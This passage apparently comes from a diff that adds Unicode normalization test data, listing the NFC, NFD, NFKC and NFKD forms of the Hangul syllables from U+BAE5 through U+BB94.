+{ source: [0xBAE5], NFC: [0xBAE5], NFD: [0x1106, 0x116B, 0x11AC], NFKC: [0xBAE5], NFKD: [0x1106, 0x116B, 0x11AC] },
+{ source: [0xBAE6], NFC: [0xBAE6], NFD: [0x1106, 0x116B, 0x11AD], NFKC: [0xBAE6], NFKD: [0x1106, 0x116B, 0x11AD] },
+{ source: [0xBAE7], NFC: [0xBAE7], NFD: [0x1106, 0x116B, 0x11AE], NFKC: [0xBAE7], NFKD: [0x1106, 0x116B, 0x11AE] },
+{ source: [0xBAE8], NFC: [0xBAE8], NFD: [0x1106, 0x116B, 0x11AF], NFKC: [0xBAE8], NFKD: [0x1106, 0x116B, 0x11AF] },
+{ source: [0xBAE9], NFC: [0xBAE9], NFD: [0x1106, 0x116B, 0x11B0], NFKC: [0xBAE9], NFKD: [0x1106, 0x116B, 0x11B0] },
+{ source: [0xBAEA], NFC: [0xBAEA], NFD: [0x1106, 0x116B, 0x11B1], NFKC: [0xBAEA], NFKD: [0x1106, 0x116B, 0x11B1] },
+{ source: [0xBAEB], NFC: [0xBAEB], NFD: [0x1106, 0x116B, 0x11B2], NFKC: [0xBAEB], NFKD: [0x1106, 0x116B, 0x11B2] },
+{ source: [0xBAEC], NFC: [0xBAEC], NFD: [0x1106, 0x116B, 0x11B3], NFKC: [0xBAEC], NFKD: [0x1106, 0x116B, 0x11B3] },
+{ source: [0xBAED], NFC: [0xBAED], NFD: [0x1106, 0x116B, 0x11B4], NFKC: [0xBAED], NFKD: [0x1106, 0x116B, 0x11B4] },
+{ source: [0xBAEE], NFC: [0xBAEE], NFD: [0x1106, 0x116B, 0x11B5], NFKC: [0xBAEE], NFKD: [0x1106, 0x116B, 0x11B5] },
+{ source: [0xBAEF], NFC: [0xBAEF], NFD: [0x1106, 0x116B, 0x11B6], NFKC: [0xBAEF], NFKD: [0x1106, 0x116B, 0x11B6] },
+{ source: [0xBAF0], NFC: [0xBAF0], NFD: [0x1106, 0x116B, 0x11B7], NFKC: [0xBAF0], NFKD: [0x1106, 0x116B, 0x11B7] },
+{ source: [0xBAF1], NFC: [0xBAF1], NFD: [0x1106, 0x116B, 0x11B8], NFKC: [0xBAF1], NFKD: [0x1106, 0x116B, 0x11B8] },
+{ source: [0xBAF2], NFC: [0xBAF2], NFD: [0x1106, 0x116B, 0x11B9], NFKC: [0xBAF2], NFKD: [0x1106, 0x116B, 0x11B9] },
+{ source: [0xBAF3], NFC: [0xBAF3], NFD: [0x1106, 0x116B, 0x11BA], NFKC: [0xBAF3], NFKD: [0x1106, 0x116B, 0x11BA] },
+{ source: [0xBAF4], NFC: [0xBAF4], NFD: [0x1106, 0x116B, 0x11BB], NFKC: [0xBAF4], NFKD: [0x1106, 0x116B, 0x11BB] },
+{ source: [0xBAF5], NFC: [0xBAF5], NFD: [0x1106, 0x116B, 0x11BC], NFKC: [0xBAF5], NFKD: [0x1106, 0x116B, 0x11BC] },
+{ source: [0xBAF6], NFC: [0xBAF6], NFD: [0x1106, 0x116B, 0x11BD], NFKC: [0xBAF6], NFKD: [0x1106, 0x116B, 0x11BD] },
+{ source: [0xBAF7], NFC: [0xBAF7], NFD: [0x1106, 0x116B, 0x11BE], NFKC: [0xBAF7], NFKD: [0x1106, 0x116B, 0x11BE] },
+{ source: [0xBAF8], NFC: [0xBAF8], NFD: [0x1106, 0x116B, 0x11BF], NFKC: [0xBAF8], NFKD: [0x1106, 0x116B, 0x11BF] },
+{ source: [0xBAF9], NFC: [0xBAF9], NFD: [0x1106, 0x116B, 0x11C0], NFKC: [0xBAF9], NFKD: [0x1106, 0x116B, 0x11C0] },
+{ source: [0xBAFA], NFC: [0xBAFA], NFD: [0x1106, 0x116B, 0x11C1], NFKC: [0xBAFA], NFKD: [0x1106, 0x116B, 0x11C1] },
+{ source: [0xBAFB], NFC: [0xBAFB], NFD: [0x1106, 0x116B, 0x11C2], NFKC: [0xBAFB], NFKD: [0x1106, 0x116B, 0x11C2] },
+{ source: [0xBAFC], NFC: [0xBAFC], NFD: [0x1106, 0x116C], NFKC: [0xBAFC], NFKD: [0x1106, 0x116C] },
+{ source: [0xBAFD], NFC: [0xBAFD], NFD: [0x1106, 0x116C, 0x11A8], NFKC: [0xBAFD], NFKD: [0x1106, 0x116C, 0x11A8] },
+{ source: [0xBAFE], NFC: [0xBAFE], NFD: [0x1106, 0x116C, 0x11A9], NFKC: [0xBAFE], NFKD: [0x1106, 0x116C, 0x11A9] },
+{ source: [0xBAFF], NFC: [0xBAFF], NFD: [0x1106, 0x116C, 0x11AA], NFKC: [0xBAFF], NFKD: [0x1106, 0x116C, 0x11AA] },
+{ source: [0xBB00], NFC: [0xBB00], NFD: [0x1106, 0x116C, 0x11AB], NFKC: [0xBB00], NFKD: [0x1106, 0x116C, 0x11AB] },
+{ source: [0xBB01], NFC: [0xBB01], NFD: [0x1106, 0x116C, 0x11AC], NFKC: [0xBB01], NFKD: [0x1106, 0x116C, 0x11AC] },
+{ source: [0xBB02], NFC: [0xBB02], NFD: [0x1106, 0x116C, 0x11AD], NFKC: [0xBB02], NFKD: [0x1106, 0x116C, 0x11AD] },
+{ source: [0xBB03], NFC: [0xBB03], NFD: [0x1106, 0x116C, 0x11AE], NFKC: [0xBB03], NFKD: [0x1106, 0x116C, 0x11AE] },
+{ source: [0xBB04], NFC: [0xBB04], NFD: [0x1106, 0x116C, 0x11AF], NFKC: [0xBB04], NFKD: [0x1106, 0x116C, 0x11AF] },
+{ source: [0xBB05], NFC: [0xBB05], NFD: [0x1106, 0x116C, 0x11B0], NFKC: [0xBB05], NFKD: [0x1106, 0x116C, 0x11B0] },
+{ source: [0xBB06], NFC: [0xBB06], NFD: [0x1106, 0x116C, 0x11B1], NFKC: [0xBB06], NFKD: [0x1106, 0x116C, 0x11B1] },
+{ source: [0xBB07], NFC: [0xBB07], NFD: [0x1106, 0x116C, 0x11B2], NFKC: [0xBB07], NFKD: [0x1106, 0x116C, 0x11B2] },
+{ source: [0xBB08], NFC: [0xBB08], NFD: [0x1106, 0x116C, 0x11B3], NFKC: [0xBB08], NFKD: [0x1106, 0x116C, 0x11B3] },
+{ source: [0xBB09], NFC: [0xBB09], NFD: [0x1106, 0x116C, 0x11B4], NFKC: [0xBB09], NFKD: [0x1106, 0x116C, 0x11B4] },
+{ source: [0xBB0A], NFC: [0xBB0A], NFD: [0x1106, 0x116C, 0x11B5], NFKC: [0xBB0A], NFKD: [0x1106, 0x116C, 0x11B5] },
+{ source: [0xBB0B], NFC: [0xBB0B], NFD: [0x1106, 0x116C, 0x11B6], NFKC: [0xBB0B], NFKD: [0x1106, 0x116C, 0x11B6] },
+{ source: [0xBB0C], NFC: [0xBB0C], NFD: [0x1106, 0x116C, 0x11B7], NFKC: [0xBB0C], NFKD: [0x1106, 0x116C, 0x11B7] },
+{ source: [0xBB0D], NFC: [0xBB0D], NFD: [0x1106, 0x116C, 0x11B8], NFKC: [0xBB0D], NFKD: [0x1106, 0x116C, 0x11B8] },
+{ source: [0xBB0E], NFC: [0xBB0E], NFD: [0x1106, 0x116C, 0x11B9], NFKC: [0xBB0E], NFKD: [0x1106, 0x116C, 0x11B9] },
+{ source: [0xBB0F], NFC: [0xBB0F], NFD: [0x1106, 0x116C, 0x11BA], NFKC: [0xBB0F], NFKD: [0x1106, 0x116C, 0x11BA] },
+{ source: [0xBB10], NFC: [0xBB10], NFD: [0x1106, 0x116C, 0x11BB], NFKC: [0xBB10], NFKD: [0x1106, 0x116C, 0x11BB] },
+{ source: [0xBB11], NFC: [0xBB11], NFD: [0x1106, 0x116C, 0x11BC], NFKC: [0xBB11], NFKD: [0x1106, 0x116C, 0x11BC] },
+{ source: [0xBB12], NFC: [0xBB12], NFD: [0x1106, 0x116C, 0x11BD], NFKC: [0xBB12], NFKD: [0x1106, 0x116C, 0x11BD] },
+{ source: [0xBB13], NFC: [0xBB13], NFD: [0x1106, 0x116C, 0x11BE], NFKC: [0xBB13], NFKD: [0x1106, 0x116C, 0x11BE] },
+{ source: [0xBB14], NFC: [0xBB14], NFD: [0x1106, 0x116C, 0x11BF], NFKC: [0xBB14], NFKD: [0x1106, 0x116C, 0x11BF] },
+{ source: [0xBB15], NFC: [0xBB15], NFD: [0x1106, 0x116C, 0x11C0], NFKC: [0xBB15], NFKD: [0x1106, 0x116C, 0x11C0] },
+{ source: [0xBB16], NFC: [0xBB16], NFD: [0x1106, 0x116C, 0x11C1], NFKC: [0xBB16], NFKD: [0x1106, 0x116C, 0x11C1] },
+{ source: [0xBB17], NFC: [0xBB17], NFD: [0x1106, 0x116C, 0x11C2], NFKC: [0xBB17], NFKD: [0x1106, 0x116C, 0x11C2] },
+{ source: [0xBB18], NFC: [0xBB18], NFD: [0x1106, 0x116D], NFKC: [0xBB18], NFKD: [0x1106, 0x116D] },
+{ source: [0xBB19], NFC: [0xBB19], NFD: [0x1106, 0x116D, 0x11A8], NFKC: [0xBB19], NFKD: [0x1106, 0x116D, 0x11A8] },
+{ source: [0xBB1A], NFC: [0xBB1A], NFD: [0x1106, 0x116D, 0x11A9], NFKC: [0xBB1A], NFKD: [0x1106, 0x116D, 0x11A9] },
+{ source: [0xBB1B], NFC: [0xBB1B], NFD: [0x1106, 0x116D, 0x11AA], NFKC: [0xBB1B], NFKD: [0x1106, 0x116D, 0x11AA] },
+{ source: [0xBB1C], NFC: [0xBB1C], NFD: [0x1106, 0x116D, 0x11AB], NFKC: [0xBB1C], NFKD: [0x1106, 0x116D, 0x11AB] },
+{ source: [0xBB1D], NFC: [0xBB1D], NFD: [0x1106, 0x116D, 0x11AC], NFKC: [0xBB1D], NFKD: [0x1106, 0x116D, 0x11AC] },
+{ source: [0xBB1E], NFC: [0xBB1E], NFD: [0x1106, 0x116D, 0x11AD], NFKC: [0xBB1E], NFKD: [0x1106, 0x116D, 0x11AD] },
+{ source: [0xBB1F], NFC: [0xBB1F], NFD: [0x1106, 0x116D, 0x11AE], NFKC: [0xBB1F], NFKD: [0x1106, 0x116D, 0x11AE] },
+{ source: [0xBB20], NFC: [0xBB20], NFD: [0x1106, 0x116D, 0x11AF], NFKC: [0xBB20], NFKD: [0x1106, 0x116D, 0x11AF] },
+{ source: [0xBB21], NFC: [0xBB21], NFD: [0x1106, 0x116D, 0x11B0], NFKC: [0xBB21], NFKD: [0x1106, 0x116D, 0x11B0] },
+{ source: [0xBB22], NFC: [0xBB22], NFD: [0x1106, 0x116D, 0x11B1], NFKC: [0xBB22], NFKD: [0x1106, 0x116D, 0x11B1] },
+{ source: [0xBB23], NFC: [0xBB23], NFD: [0x1106, 0x116D, 0x11B2], NFKC: [0xBB23], NFKD: [0x1106, 0x116D, 0x11B2] },
+{ source: [0xBB24], NFC: [0xBB24], NFD: [0x1106, 0x116D, 0x11B3], NFKC: [0xBB24], NFKD: [0x1106, 0x116D, 0x11B3] },
+{ source: [0xBB25], NFC: [0xBB25], NFD: [0x1106, 0x116D, 0x11B4], NFKC: [0xBB25], NFKD: [0x1106, 0x116D, 0x11B4] },
+{ source: [0xBB26], NFC: [0xBB26], NFD: [0x1106, 0x116D, 0x11B5], NFKC: [0xBB26], NFKD: [0x1106, 0x116D, 0x11B5] },
+{ source: [0xBB27], NFC: [0xBB27], NFD: [0x1106, 0x116D, 0x11B6], NFKC: [0xBB27], NFKD: [0x1106, 0x116D, 0x11B6] },
+{ source: [0xBB28], NFC: [0xBB28], NFD: [0x1106, 0x116D, 0x11B7], NFKC: [0xBB28], NFKD: [0x1106, 0x116D, 0x11B7] },
+{ source: [0xBB29], NFC: [0xBB29], NFD: [0x1106, 0x116D, 0x11B8], NFKC: [0xBB29], NFKD: [0x1106, 0x116D, 0x11B8] },
+{ source: [0xBB2A], NFC: [0xBB2A], NFD: [0x1106, 0x116D, 0x11B9], NFKC: [0xBB2A], NFKD: [0x1106, 0x116D, 0x11B9] },
+{ source: [0xBB2B], NFC: [0xBB2B], NFD: [0x1106, 0x116D, 0x11BA], NFKC: [0xBB2B], NFKD: [0x1106, 0x116D, 0x11BA] },
+{ source: [0xBB2C], NFC: [0xBB2C], NFD: [0x1106, 0x116D, 0x11BB], NFKC: [0xBB2C], NFKD: [0x1106, 0x116D, 0x11BB] },
+{ source: [0xBB2D], NFC: [0xBB2D], NFD: [0x1106, 0x116D, 0x11BC], NFKC: [0xBB2D], NFKD: [0x1106, 0x116D, 0x11BC] },
+{ source: [0xBB2E], NFC: [0xBB2E], NFD: [0x1106, 0x116D, 0x11BD], NFKC: [0xBB2E], NFKD: [0x1106, 0x116D, 0x11BD] },
+{ source: [0xBB2F], NFC: [0xBB2F], NFD: [0x1106, 0x116D, 0x11BE], NFKC: [0xBB2F], NFKD: [0x1106, 0x116D, 0x11BE] },
+{ source: [0xBB30], NFC: [0xBB30], NFD: [0x1106, 0x116D, 0x11BF], NFKC: [0xBB30], NFKD: [0x1106, 0x116D, 0x11BF] },
+{ source: [0xBB31], NFC: [0xBB31], NFD: [0x1106, 0x116D, 0x11C0], NFKC: [0xBB31], NFKD: [0x1106, 0x116D, 0x11C0] },
+{ source: [0xBB32], NFC: [0xBB32], NFD: [0x1106, 0x116D, 0x11C1], NFKC: [0xBB32], NFKD: [0x1106, 0x116D, 0x11C1] },
+{ source: [0xBB33], NFC: [0xBB33], NFD: [0x1106, 0x116D, 0x11C2], NFKC: [0xBB33], NFKD: [0x1106, 0x116D, 0x11C2] },
+{ source: [0xBB34], NFC: [0xBB34], NFD: [0x1106, 0x116E], NFKC: [0xBB34], NFKD: [0x1106, 0x116E] },
+{ source: [0xBB35], NFC: [0xBB35], NFD: [0x1106, 0x116E, 0x11A8], NFKC: [0xBB35], NFKD: [0x1106, 0x116E, 0x11A8] },
+{ source: [0xBB36], NFC: [0xBB36], NFD: [0x1106, 0x116E, 0x11A9], NFKC: [0xBB36], NFKD: [0x1106, 0x116E, 0x11A9] },
+{ source: [0xBB37], NFC: [0xBB37], NFD: [0x1106, 0x116E, 0x11AA], NFKC: [0xBB37], NFKD: [0x1106, 0x116E, 0x11AA] },
+{ source: [0xBB38], NFC: [0xBB38], NFD: [0x1106, 0x116E, 0x11AB], NFKC: [0xBB38], NFKD: [0x1106, 0x116E, 0x11AB] },
+{ source: [0xBB39], NFC: [0xBB39], NFD: [0x1106, 0x116E, 0x11AC], NFKC: [0xBB39], NFKD: [0x1106, 0x116E, 0x11AC] },
+{ source: [0xBB3A], NFC: [0xBB3A], NFD: [0x1106, 0x116E, 0x11AD], NFKC: [0xBB3A], NFKD: [0x1106, 0x116E, 0x11AD] },
+{ source: [0xBB3B], NFC: [0xBB3B], NFD: [0x1106, 0x116E, 0x11AE], NFKC: [0xBB3B], NFKD: [0x1106, 0x116E, 0x11AE] },
+{ source: [0xBB3C], NFC: [0xBB3C], NFD: [0x1106, 0x116E, 0x11AF], NFKC: [0xBB3C], NFKD: [0x1106, 0x116E, 0x11AF] },
+{ source: [0xBB3D], NFC: [0xBB3D], NFD: [0x1106, 0x116E, 0x11B0], NFKC: [0xBB3D], NFKD: [0x1106, 0x116E, 0x11B0] },
+{ source: [0xBB3E], NFC: [0xBB3E], NFD: [0x1106, 0x116E, 0x11B1], NFKC: [0xBB3E], NFKD: [0x1106, 0x116E, 0x11B1] },
+{ source: [0xBB3F], NFC: [0xBB3F], NFD: [0x1106, 0x116E, 0x11B2], NFKC: [0xBB3F], NFKD: [0x1106, 0x116E, 0x11B2] },
+{ source: [0xBB40], NFC: [0xBB40], NFD: [0x1106, 0x116E, 0x11B3], NFKC: [0xBB40], NFKD: [0x1106, 0x116E, 0x11B3] },
+{ source: [0xBB41], NFC: [0xBB41], NFD: [0x1106, 0x116E, 0x11B4], NFKC: [0xBB41], NFKD: [0x1106, 0x116E, 0x11B4] },
+{ source: [0xBB42], NFC: [0xBB42], NFD: [0x1106, 0x116E, 0x11B5], NFKC: [0xBB42], NFKD: [0x1106, 0x116E, 0x11B5] },
+{ source: [0xBB43], NFC: [0xBB43], NFD: [0x1106, 0x116E, 0x11B6], NFKC: [0xBB43], NFKD: [0x1106, 0x116E, 0x11B6] },
+{ source: [0xBB44], NFC: [0xBB44], NFD: [0x1106, 0x116E, 0x11B7], NFKC: [0xBB44], NFKD: [0x1106, 0x116E, 0x11B7] },
+{ source: [0xBB45], NFC: [0xBB45], NFD: [0x1106, 0x116E, 0x11B8], NFKC: [0xBB45], NFKD: [0x1106, 0x116E, 0x11B8] },
+{ source: [0xBB46], NFC: [0xBB46], NFD: [0x1106, 0x116E, 0x11B9], NFKC: [0xBB46], NFKD: [0x1106, 0x116E, 0x11B9] },
+{ source: [0xBB47], NFC: [0xBB47], NFD: [0x1106, 0x116E, 0x11BA], NFKC: [0xBB47], NFKD: [0x1106, 0x116E, 0x11BA] },
+{ source: [0xBB48], NFC: [0xBB48], NFD: [0x1106, 0x116E, 0x11BB], NFKC: [0xBB48], NFKD: [0x1106, 0x116E, 0x11BB] },
+{ source: [0xBB49], NFC: [0xBB49], NFD: [0x1106, 0x116E, 0x11BC], NFKC: [0xBB49], NFKD: [0x1106, 0x116E, 0x11BC] },
+{ source: [0xBB4A], NFC: [0xBB4A], NFD: [0x1106, 0x116E, 0x11BD], NFKC: [0xBB4A], NFKD: [0x1106, 0x116E, 0x11BD] },
+{ source: [0xBB4B], NFC: [0xBB4B], NFD: [0x1106, 0x116E, 0x11BE], NFKC: [0xBB4B], NFKD: [0x1106, 0x116E, 0x11BE] },
+{ source: [0xBB4C], NFC: [0xBB4C], NFD: [0x1106, 0x116E, 0x11BF], NFKC: [0xBB4C], NFKD: [0x1106, 0x116E, 0x11BF] },
+{ source: [0xBB4D], NFC: [0xBB4D], NFD: [0x1106, 0x116E, 0x11C0], NFKC: [0xBB4D], NFKD: [0x1106, 0x116E, 0x11C0] },
+{ source: [0xBB4E], NFC: [0xBB4E], NFD: [0x1106, 0x116E, 0x11C1], NFKC: [0xBB4E], NFKD: [0x1106, 0x116E, 0x11C1] },
+{ source: [0xBB4F], NFC: [0xBB4F], NFD: [0x1106, 0x116E, 0x11C2], NFKC: [0xBB4F], NFKD: [0x1106, 0x116E, 0x11C2] },
+{ source: [0xBB50], NFC: [0xBB50], NFD: [0x1106, 0x116F], NFKC: [0xBB50], NFKD: [0x1106, 0x116F] },
+{ source: [0xBB51], NFC: [0xBB51], NFD: [0x1106, 0x116F, 0x11A8], NFKC: [0xBB51], NFKD: [0x1106, 0x116F, 0x11A8] },
+{ source: [0xBB52], NFC: [0xBB52], NFD: [0x1106, 0x116F, 0x11A9], NFKC: [0xBB52], NFKD: [0x1106, 0x116F, 0x11A9] },
+{ source: [0xBB53], NFC: [0xBB53], NFD: [0x1106, 0x116F, 0x11AA], NFKC: [0xBB53], NFKD: [0x1106, 0x116F, 0x11AA] },
+{ source: [0xBB54], NFC: [0xBB54], NFD: [0x1106, 0x116F, 0x11AB], NFKC: [0xBB54], NFKD: [0x1106, 0x116F, 0x11AB] },
+{ source: [0xBB55], NFC: [0xBB55], NFD: [0x1106, 0x116F, 0x11AC], NFKC: [0xBB55], NFKD: [0x1106, 0x116F, 0x11AC] },
+{ source: [0xBB56], NFC: [0xBB56], NFD: [0x1106, 0x116F, 0x11AD], NFKC: [0xBB56], NFKD: [0x1106, 0x116F, 0x11AD] },
+{ source: [0xBB57], NFC: [0xBB57], NFD: [0x1106, 0x116F, 0x11AE], NFKC: [0xBB57], NFKD: [0x1106, 0x116F, 0x11AE] },
+{ source: [0xBB58], NFC: [0xBB58], NFD: [0x1106, 0x116F, 0x11AF], NFKC: [0xBB58], NFKD: [0x1106, 0x116F, 0x11AF] },
+{ source: [0xBB59], NFC: [0xBB59], NFD: [0x1106, 0x116F, 0x11B0], NFKC: [0xBB59], NFKD: [0x1106, 0x116F, 0x11B0] },
+{ source: [0xBB5A], NFC: [0xBB5A], NFD: [0x1106, 0x116F, 0x11B1], NFKC: [0xBB5A], NFKD: [0x1106, 0x116F, 0x11B1] },
+{ source: [0xBB5B], NFC: [0xBB5B], NFD: [0x1106, 0x116F, 0x11B2], NFKC: [0xBB5B], NFKD: [0x1106, 0x116F, 0x11B2] },
+{ source: [0xBB5C], NFC: [0xBB5C], NFD: [0x1106, 0x116F, 0x11B3], NFKC: [0xBB5C], NFKD: [0x1106, 0x116F, 0x11B3] },
+{ source: [0xBB5D], NFC: [0xBB5D], NFD: [0x1106, 0x116F, 0x11B4], NFKC: [0xBB5D], NFKD: [0x1106, 0x116F, 0x11B4] },
+{ source: [0xBB5E], NFC: [0xBB5E], NFD: [0x1106, 0x116F, 0x11B5], NFKC: [0xBB5E], NFKD: [0x1106, 0x116F, 0x11B5] },
+{ source: [0xBB5F], NFC: [0xBB5F], NFD: [0x1106, 0x116F, 0x11B6], NFKC: [0xBB5F], NFKD: [0x1106, 0x116F, 0x11B6] },
+{ source: [0xBB60], NFC: [0xBB60], NFD: [0x1106, 0x116F, 0x11B7], NFKC: [0xBB60], NFKD: [0x1106, 0x116F, 0x11B7] },
+{ source: [0xBB61], NFC: [0xBB61], NFD: [0x1106, 0x116F, 0x11B8], NFKC: [0xBB61], NFKD: [0x1106, 0x116F, 0x11B8] },
+{ source: [0xBB62], NFC: [0xBB62], NFD: [0x1106, 0x116F, 0x11B9], NFKC: [0xBB62], NFKD: [0x1106, 0x116F, 0x11B9] },
+{ source: [0xBB63], NFC: [0xBB63], NFD: [0x1106, 0x116F, 0x11BA], NFKC: [0xBB63], NFKD: [0x1106, 0x116F, 0x11BA] },
+{ source: [0xBB64], NFC: [0xBB64], NFD: [0x1106, 0x116F, 0x11BB], NFKC: [0xBB64], NFKD: [0x1106, 0x116F, 0x11BB] },
+{ source: [0xBB65], NFC: [0xBB65], NFD: [0x1106, 0x116F, 0x11BC], NFKC: [0xBB65], NFKD: [0x1106, 0x116F, 0x11BC] },
+{ source: [0xBB66], NFC: [0xBB66], NFD: [0x1106, 0x116F, 0x11BD], NFKC: [0xBB66], NFKD: [0x1106, 0x116F, 0x11BD] },
+{ source: [0xBB67], NFC: [0xBB67], NFD: [0x1106, 0x116F, 0x11BE], NFKC: [0xBB67], NFKD: [0x1106, 0x116F, 0x11BE] },
+{ source: [0xBB68], NFC: [0xBB68], NFD: [0x1106, 0x116F, 0x11BF], NFKC: [0xBB68], NFKD: [0x1106, 0x116F, 0x11BF] },
+{ source: [0xBB69], NFC: [0xBB69], NFD: [0x1106, 0x116F, 0x11C0], NFKC: [0xBB69], NFKD: [0x1106, 0x116F, 0x11C0] },
+{ source: [0xBB6A], NFC: [0xBB6A], NFD: [0x1106, 0x116F, 0x11C1], NFKC: [0xBB6A], NFKD: [0x1106, 0x116F, 0x11C1] },
+{ source: [0xBB6B], NFC: [0xBB6B], NFD: [0x1106, 0x116F, 0x11C2], NFKC: [0xBB6B], NFKD: [0x1106, 0x116F, 0x11C2] },
+{ source: [0xBB6C], NFC: [0xBB6C], NFD: [0x1106, 0x1170], NFKC: [0xBB6C], NFKD: [0x1106, 0x1170] },
+{ source: [0xBB6D], NFC: [0xBB6D], NFD: [0x1106, 0x1170, 0x11A8], NFKC: [0xBB6D], NFKD: [0x1106, 0x1170, 0x11A8] },
+{ source: [0xBB6E], NFC: [0xBB6E], NFD: [0x1106, 0x1170, 0x11A9], NFKC: [0xBB6E], NFKD: [0x1106, 0x1170, 0x11A9] },
+{ source: [0xBB6F], NFC: [0xBB6F], NFD: [0x1106, 0x1170, 0x11AA], NFKC: [0xBB6F], NFKD: [0x1106, 0x1170, 0x11AA] },
+{ source: [0xBB70], NFC: [0xBB70], NFD: [0x1106, 0x1170, 0x11AB], NFKC: [0xBB70], NFKD: [0x1106, 0x1170, 0x11AB] },
+{ source: [0xBB71], NFC: [0xBB71], NFD: [0x1106, 0x1170, 0x11AC], NFKC: [0xBB71], NFKD: [0x1106, 0x1170, 0x11AC] },
+{ source: [0xBB72], NFC: [0xBB72], NFD: [0x1106, 0x1170, 0x11AD], NFKC: [0xBB72], NFKD: [0x1106, 0x1170, 0x11AD] },
+{ source: [0xBB73], NFC: [0xBB73], NFD: [0x1106, 0x1170, 0x11AE], NFKC: [0xBB73], NFKD: [0x1106, 0x1170, 0x11AE] },
+{ source: [0xBB74], NFC: [0xBB74], NFD: [0x1106, 0x1170, 0x11AF], NFKC: [0xBB74], NFKD: [0x1106, 0x1170, 0x11AF] },
+{ source: [0xBB75], NFC: [0xBB75], NFD: [0x1106, 0x1170, 0x11B0], NFKC: [0xBB75], NFKD: [0x1106, 0x1170, 0x11B0] },
+{ source: [0xBB76], NFC: [0xBB76], NFD: [0x1106, 0x1170, 0x11B1], NFKC: [0xBB76], NFKD: [0x1106, 0x1170, 0x11B1] },
+{ source: [0xBB77], NFC: [0xBB77], NFD: [0x1106, 0x1170, 0x11B2], NFKC: [0xBB77], NFKD: [0x1106, 0x1170, 0x11B2] },
+{ source: [0xBB78], NFC: [0xBB78], NFD: [0x1106, 0x1170, 0x11B3], NFKC: [0xBB78], NFKD: [0x1106, 0x1170, 0x11B3] },
+{ source: [0xBB79], NFC: [0xBB79], NFD: [0x1106, 0x1170, 0x11B4], NFKC: [0xBB79], NFKD: [0x1106, 0x1170, 0x11B4] },
+{ source: [0xBB7A], NFC: [0xBB7A], NFD: [0x1106, 0x1170, 0x11B5], NFKC: [0xBB7A], NFKD: [0x1106, 0x1170, 0x11B5] },
+{ source: [0xBB7B], NFC: [0xBB7B], NFD: [0x1106, 0x1170, 0x11B6], NFKC: [0xBB7B], NFKD: [0x1106, 0x1170, 0x11B6] },
+{ source: [0xBB7C], NFC: [0xBB7C], NFD: [0x1106, 0x1170, 0x11B7], NFKC: [0xBB7C], NFKD: [0x1106, 0x1170, 0x11B7] },
+{ source: [0xBB7D], NFC: [0xBB7D], NFD: [0x1106, 0x1170, 0x11B8], NFKC: [0xBB7D], NFKD: [0x1106, 0x1170, 0x11B8] },
+{ source: [0xBB7E], NFC: [0xBB7E], NFD: [0x1106, 0x1170, 0x11B9], NFKC: [0xBB7E], NFKD: [0x1106, 0x1170, 0x11B9] },
+{ source: [0xBB7F], NFC: [0xBB7F], NFD: [0x1106, 0x1170, 0x11BA], NFKC: [0xBB7F], NFKD: [0x1106, 0x1170, 0x11BA] },
+{ source: [0xBB80], NFC: [0xBB80], NFD: [0x1106, 0x1170, 0x11BB], NFKC: [0xBB80], NFKD: [0x1106, 0x1170, 0x11BB] },
+{ source: [0xBB81], NFC: [0xBB81], NFD: [0x1106, 0x1170, 0x11BC], NFKC: [0xBB81], NFKD: [0x1106, 0x1170, 0x11BC] },
+{ source: [0xBB82], NFC: [0xBB82], NFD: [0x1106, 0x1170, 0x11BD], NFKC: [0xBB82], NFKD: [0x1106, 0x1170, 0x11BD] },
+{ source: [0xBB83], NFC: [0xBB83], NFD: [0x1106, 0x1170, 0x11BE], NFKC: [0xBB83], NFKD: [0x1106, 0x1170, 0x11BE] },
+{ source: [0xBB84], NFC: [0xBB84], NFD: [0x1106, 0x1170, 0x11BF], NFKC: [0xBB84], NFKD: [0x1106, 0x1170, 0x11BF] },
+{ source: [0xBB85], NFC: [0xBB85], NFD: [0x1106, 0x1170, 0x11C0], NFKC: [0xBB85], NFKD: [0x1106, 0x1170, 0x11C0] },
+{ source: [0xBB86], NFC: [0xBB86], NFD: [0x1106, 0x1170, 0x11C1], NFKC: [0xBB86], NFKD: [0x1106, 0x1170, 0x11C1] },
+{ source: [0xBB87], NFC: [0xBB87], NFD: [0x1106, 0x1170, 0x11C2], NFKC: [0xBB87], NFKD: [0x1106, 0x1170, 0x11C2] },
+{ source: [0xBB88], NFC: [0xBB88], NFD: [0x1106, 0x1171], NFKC: [0xBB88], NFKD: [0x1106, 0x1171] },
+{ source: [0xBB89], NFC: [0xBB89], NFD: [0x1106, 0x1171, 0x11A8], NFKC: [0xBB89], NFKD: [0x1106, 0x1171, 0x11A8] },
+{ source: [0xBB8A], NFC: [0xBB8A], NFD: [0x1106, 0x1171, 0x11A9], NFKC: [0xBB8A], NFKD: [0x1106, 0x1171, 0x11A9] },
+{ source: [0xBB8B], NFC: [0xBB8B], NFD: [0x1106, 0x1171, 0x11AA], NFKC: [0xBB8B], NFKD: [0x1106, 0x1171, 0x11AA] },
+{ source: [0xBB8C], NFC: [0xBB8C], NFD: [0x1106, 0x1171, 0x11AB], NFKC: [0xBB8C], NFKD: [0x1106, 0x1171, 0x11AB] },
+{ source: [0xBB8D], NFC: [0xBB8D], NFD: [0x1106, 0x1171, 0x11AC], NFKC: [0xBB8D], NFKD: [0x1106, 0x1171, 0x11AC] },
+{ source: [0xBB8E], NFC: [0xBB8E], NFD: [0x1106, 0x1171, 0x11AD], NFKC: [0xBB8E], NFKD: [0x1106, 0x1171, 0x11AD] },
+{ source: [0xBB8F], NFC: [0xBB8F], NFD: [0x1106, 0x1171, 0x11AE], NFKC: [0xBB8F], NFKD: [0x1106, 0x1171, 0x11AE] },
+{ source: [0xBB90], NFC: [0xBB90], NFD: [0x1106, 0x1171, 0x11AF], NFKC: [0xBB90], NFKD: [0x1106, 0x1171, 0x11AF] },
+{ source: [0xBB91], NFC: [0xBB91], NFD: [0x1106, 0x1171, 0x11B0], NFKC: [0xBB91], NFKD: [0x1106, 0x1171, 0x11B0] },
+{ source: [0xBB92], NFC: [0xBB92], NFD: [0x1106, 0x1171, 0x11B1], NFKC: [0xBB92], NFKD: [0x1106, 0x1171, 0x11B1] },
+{ source: [0xBB93], NFC: [0xBB93], NFD: [0x1106, 0x1171, 0x11B2], NFKC: [0xBB93], NFKD: [0x1106, 0x1171, 0x11B2] },
+{ source: [0xBB94], NFC: [0xBB94], NFD: [0x1106, 0x1171, 0x11B3], NFKC: [0xBB94], NFKD: [0x1106, 0x1171, 0x11B3] },
